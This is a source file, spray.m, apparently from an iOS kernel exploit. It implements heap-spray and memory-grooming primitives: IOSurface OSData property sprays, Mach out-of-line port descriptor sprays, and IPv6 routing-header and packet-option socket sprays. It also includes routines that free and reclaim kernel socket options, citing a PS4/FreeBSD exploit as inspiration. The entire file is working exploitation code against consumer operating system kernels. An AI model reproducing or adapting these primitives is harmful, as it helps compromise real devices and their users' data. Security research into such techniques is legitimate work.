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spray.m
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spray.m
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#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/mbuf.h>
#include <Foundation/Foundation.h>
#include "IOKitLib.h"
#include "iosurface.h"
#include "spray.h"
#include "helper.h"
#include "voucher.h"
void create_osdata_serialisation_string(char **buffer, const char *data,
size_t repetitions, char *key)
{
int i;
size_t buffer_size;
char spray[strlen("<data>")
+ strlen(data)
+ strlen("</data>\n")
+ 1];
buffer_size = strlen("<array>\n");
buffer_size += strlen("<array>\n");
buffer_size += sizeof(spray) * repetitions;
buffer_size += strlen("</array>\n");
buffer_size += strlen("<string>");
buffer_size += strlen("spray");
buffer_size += strlen("</string>\n");
buffer_size += strlen("</array>\n");
buffer_size += 1;
*buffer = calloc(buffer_size, sizeof(char));
BEGIN_SPRAY_STRING(*buffer);
for (i = 0; i < repetitions; i++)
{
CREATE_SPRAY_DATA(spray, data);
strcat(*buffer, spray);
}
APPEND_SPRAY_STRING_END(*buffer, key);
}
void create_string_for_heap_spray_with_zeroes(char **input_buffer, size_t size, char *key)
{
uint8_t *spray_data;
const char *spray_string;
NSData *nsdata;
NSString *base64_encoded;
spray_data = calloc(size, sizeof(uint8_t));
nsdata = [NSData dataWithBytes:(const void*)spray_data length:size];
base64_encoded = [nsdata base64EncodedStringWithOptions:0];
spray_string = [base64_encoded cStringUsingEncoding:NSASCIIStringEncoding];
create_osdata_serialisation_string(input_buffer, spray_string, N_OSDATA_SPRAY, key);
}
void create_string_for_heap_spray_with_data(char **input_buffer, size_t size, char *key,
void *spray_data)
{
const char *spray_string;
NSData *nsdata;
NSString *base64_encoded;
nsdata = [NSData dataWithBytes:(const void*)spray_data length:size];
base64_encoded = [nsdata base64EncodedStringWithOptions:0];
spray_string = [base64_encoded cStringUsingEncoding:NSASCIIStringEncoding];
create_osdata_serialisation_string(input_buffer, spray_string, N_OSDATA_SPRAY, key);
}
int ool_ports_descriptor_spray_many(mach_port_t *receive_ports, size_t receive_ports_count, size_t message_count, mach_port_t *ports, size_t ports_count) {
int i;
for (i = 0; i < receive_ports_count; i++ ) {
ool_ports_descriptor_spray(receive_ports[i], message_count, ports, ports_count);
}
return 0;
}
int ool_ports_descriptor_spray(mach_port_t receive_port, size_t message_count, mach_port_t *ports, size_t ports_count)
{
size_t i, msg_size;
ool_ports_msg_t ool_msg;
mach_msg_return_t ret;
msg_size = (sizeof(struct ool_ports_msg) + (message_count * sizeof(mach_msg_ool_ports_descriptor_t)));
ool_msg = calloc(1, msg_size);
ool_msg->header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
ool_msg->header.msgh_size = msg_size;
ool_msg->header.msgh_remote_port = receive_port;
ool_msg->header.msgh_local_port = MACH_PORT_NULL;
ool_msg->header.msgh_id = 0x10101010;
ool_msg->body.msgh_descriptor_count = message_count;
for (i = 0; i < message_count; i++) {
ool_msg->ool_ports[i].address = ports;
ool_msg->ool_ports[i].count = ports_count;
ool_msg->ool_ports[i].deallocate = 0;
ool_msg->ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
ool_msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
ool_msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
}
ret = mach_msg_send(&ool_msg->header);
if (ret != MACH_MSG_SUCCESS)
{
ERROR_LOG("Problem during OOL spray: 0x%x\n", ret);
return 1;
}
free(ool_msg);
return 0;
}
int ool_ports_descriptor_receive_many(mach_port_t *receive_ports, size_t receive_ports_count, size_t message_count) {
int i;
for (i = 0; i < receive_ports_count; i++ ) {
ool_ports_descriptor_receive(receive_ports[i], message_count);
}
return 0;
}
int ool_ports_descriptor_receive(mach_port_t receive_port, size_t message_count)
{
size_t i, msg_size;
ool_ports_msg_t ool_msg;
mach_msg_return_t ret;
msg_size = (sizeof(struct ool_ports_msg) + (message_count * 2* sizeof(mach_msg_ool_ports_descriptor_t)));
ool_msg = calloc(1, msg_size);
ret = mach_msg(
&ool_msg->header,
MACH_RCV_MSG,
0,
msg_size,
receive_port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL
);
if (ret != MACH_MSG_SUCCESS)
{
ERROR_LOG("Problem during OOL receive: 0x%x\n", ret);
return 1;
}
free(ool_msg);
return 0;
}
int io_surface_spray(io_connect_t *connection, uint32_t *surface_id,
size_t size, char *key, void *data, size_t data_size)
{
uint8_t *spray_data;
char *input_buffer;
int ret;
if (data == NULL)
{
create_string_for_heap_spray_with_zeroes(&input_buffer, size, key);
}
else
{
if (data_size > size)
{
INFO_LOG("WARNING: data_size > size");
}
spray_data = calloc(size, sizeof(uint8_t));
memcpy(spray_data, data, data_size);
create_string_for_heap_spray_with_data(&input_buffer, size, key, spray_data);
}
if ((ret = io_surface_set_value(connection, surface_id, &input_buffer)))
{
ERROR_LOG("Could Not Spray Heap Via IOSurface");
}
else
{
DEBUG_LOG("Sprayed Heap Via IOSurface");
}
free(input_buffer);
return ret;
}
int spray_kernel_heap_with_zeroes(io_connect_t *connection, uint32_t *surface_id, char *key)
{
return io_surface_spray(connection, surface_id, CHUNK_SPRAY_SIZE, key, NULL, 0);
}
// IPV6_RTHDR routines
// inspired by @theflow0 PS4/FreeBSD exploit
// https://hackerone.com/reports/826026
int new_spray_socket(void) {
return socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
}
int *prepare_socks() {
int i;
int *spray_socks;
spray_socks = calloc(N_SOCKETS, sizeof(int));
for (i = 0; i < N_SOCKETS; i++) {
spray_socks[i] = new_spray_socket();
}
return spray_socks;
}
void replace_sock(int *socks, int index) {
socks[index] = new_spray_socket();
}
size_t prepare_rthdr_msg(uint8_t **buf, size_t size) {
struct ip6_rthdr *rthdr;
uint8_t len;
len = ((size >> 3) - 1) & ~1;
size = (len + 1) << 3;
if (size < sizeof(struct ip6_rthdr)) {
ERROR_LOG("size smaller than struct ip6_rthdr");
return -1;
}
*buf = calloc(size, sizeof(uint8_t));
rthdr = (struct ip6_rthdr *)(*buf);
rthdr->ip6r_nxt = 0;
rthdr->ip6r_len = len;
rthdr->ip6r_type = IPV6_RTHDR_TYPE_0;
rthdr->ip6r_segleft = rthdr->ip6r_len >> 1;
return size;
}
int get_rthdr(int s, uint8_t *buf, socklen_t len) {
return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, &len);
}
int set_rthdr(int s, uint8_t *buf, socklen_t len) {
return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
}
struct cmsghdr * prepare_free_opts_msg() {
struct cmsghdr *cmh;
cmh = calloc(1, sizeof(struct cmsghdr));
cmh->cmsg_len = CMSG_LEN(sizeof(int));
cmh->cmsg_level = 0; // will just skip w/o setting any option
cmh->cmsg_type = IPV6_TCLASS;
return cmh;
}
struct cmsghdr * prepare_free_pktopts_msg() {
struct cmsghdr *cmh;
int *val;
cmh = calloc(1, sizeof(struct cmsghdr)+sizeof(int));
cmh->cmsg_len = CMSG_LEN(sizeof(int)*2);
// INFO_LOG("%x", IPPROTO_IPV6);
cmh->cmsg_level = IPPROTO_IPV6;
cmh->cmsg_type = IPV6_TCLASS;
val = (int *)CMSG_DATA(cmh);
*val = 500; // trigger EINVAL in set tclass case
return cmh;
}
int set_pktopts(int s, uint8_t *buf, socklen_t len) {
return setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, &buf, len);
}
int set_tclass(int s, int val) {
return setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, sizeof(val));
}
int get_tclass(int s) {
int val;
socklen_t len = sizeof(val);
getsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, &len);
return val;
}
int free_pktops(int s) {
int i;
struct cmsghdr *cmh;
// set_tclass(s, 5);
// INFO_LOG("%d", get_tclass(s));
cmh = prepare_free_pktopts_msg();
i = set_pktopts(s, (uint8_t *)cmh, cmh->cmsg_len);
// INFO_LOG("%d", get_tclass(s));
// set_tclass(s, 100);
// INFO_LOG("%d", get_tclass(s));
// free(cmh);
// INFO_LOG("%d", i);
return i;
}
int free_opts(int s) {
int i;
struct cmsghdr *cmh;
cmh = prepare_free_opts_msg();
i = set_pktopts(s, (uint8_t *)cmh, cmh->cmsg_len);
// free(cmh);
// INFO_LOG("%d", i);
return i;
}
void reset_spray_socks_pktopts(int *spray_sock) {
int i;
for (i = 0; i < N_SOCKETS; i++) {
INFO_LOG("%d", free_pktops(spray_sock[i]));
INFO_LOG("%d", errno);
INFO_LOG("%s", strerror(errno));
}
}
void reset_spray_socks_opts(int *spray_sock) {
int i;
for (i = 0; i < N_SOCKETS; i++) {
free_opts(spray_sock[i]);
}
}
void close_spray_socks(int *spray_sock) {
int i;
for (i = 0; i < N_SOCKETS; i++) {
close(spray_sock[i]);
}
free(spray_sock);
}
void tclass_spray(int *spray_socks) {
int i;
// This works only if N_SOCKETS <= 256
for (i = 0; i < N_SOCKETS; i++) {
set_tclass(spray_socks[i], i);
}
}
void rthdr_spray(int *spray_socks, uint8_t **buf_array, size_t buf_len) {
int i;
for (i = 0; i < N_SOCKETS; i++) {
set_rthdr(spray_socks[i], buf_array[i], buf_len);
}
}